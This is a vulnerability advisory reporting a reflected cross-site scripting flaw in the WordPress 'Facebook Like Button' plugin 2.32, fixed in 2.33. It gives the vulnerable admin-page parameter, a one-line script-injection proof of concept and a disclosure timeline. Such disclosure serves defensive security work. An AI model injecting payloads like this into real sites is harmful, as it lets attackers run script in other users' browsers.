Plugin Name : Facebook Like Button
 
Effected Version : 2.32 (and most probably lower version's if any)
 
Vulnerability : A3-Cross-Site Scripting (XSS)
 
Identified by : Madhu Akula
 

 
Technical Details
 
Minimum Level of Access Required : Administrator
 
PoC - (Proof of Concept) :
 
The following field put the payload as below
 
 
http://localhost/wp-admin/admin.php?page=facebook-button-plugin.php
 
 
fcbkbttn_link = ‘><script>alert(1)</script>
 
 
Vulnerable Parameter : fcbkbttn_link
 
 
Type of XSS : Reflected
 
Fixed in : 2.33
 
http://wordpress.org/plugins/facebook-button-plugin/changelog/
 
Disclosure Timeline
 
Vendor Contacted : 2014-08-04
 
Plugin Status : Updated on 2014-08-07
 
Public Disclosure : October 3, 2015
 
CVE Number : Not assigned yet
 
Plugin Description :
 
Facebook Like Button Plugin allows you to add a Follow button the easiest way. If your life is tightly connected with your Facebook account, our plugin is the best solution for you. It contains minimum settings. Just a few clicks and voila - the Facebook button is on your site.